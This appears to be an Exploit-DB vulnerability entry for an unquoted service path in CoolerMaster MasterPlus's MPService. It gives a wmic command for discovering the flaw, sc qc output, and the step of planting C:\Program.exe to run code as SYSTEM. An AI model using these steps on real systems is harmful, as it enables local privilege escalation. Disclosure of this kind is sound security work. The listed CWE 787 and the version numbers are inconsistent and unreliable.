CoolerMaster MasterPlus 1.8.5 - 'MPService' Unquoted Service Path

vendor:

MasterPlus

by:

Damian Semon Jr (Blue Team Alpha)

7.2

CVSS

HIGH

Unquoted Service Path

787

CWE

Product Name: MasterPlus

Affected Version From: 1.8.2005

Affected Version To: 1.8.2005

Patch Exists: NO

Related CWE:

CPE: a:coolermaster:masterplus:1.8.5

Metasploit:

Other Scripts:

Platforms Tested: Windows 10 64x

2022

CoolerMaster MasterPlus 1.8.5 – ‘MPService’ Unquoted Service Path

A successful exploit of this vulnerability could allow a threat actor to execute code during startup or reboot with System privileges. Drop payload 'Program.exe' in C: and restart service or computer to trigger.

Mitigation:

Ensure that all services have a fully qualified path to the executable.

Source

Exploit-DB raw data:

# Exploit Title: CoolerMaster MasterPlus 1.8.5 - 'MPService' Unquoted Service Path
# Date: 11/17/2022
# Exploit Author: Damian Semon Jr (Blue Team Alpha)
# Version: 1.8.5
# Vendor Homepage: https://masterplus.coolermaster.com/
# Software Link: https://masterplus.coolermaster.com/
# Tested on: Windows 10 64x

# Step to discover the unquoted service path:
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

CoolerMaster MasterPlus Technology Service	MPService	C:\Program Files (x86)\CoolerMaster\MasterPlus\MPService.exe	Auto

# Info on the service:
C:\>sc qc MPService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: MPService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\CoolerMaster\MasterPlus\MPService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : CoolerMaster MasterPlus Technology Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
            
            
#Exploit:
A successful exploit of this vulnerability could allow a threat actor to execute code during startup or reboot with System privileges. Drop payload "Program.exe" in C:\ and restart service or computer to trigger. 
Ex: (C:\Program.exe)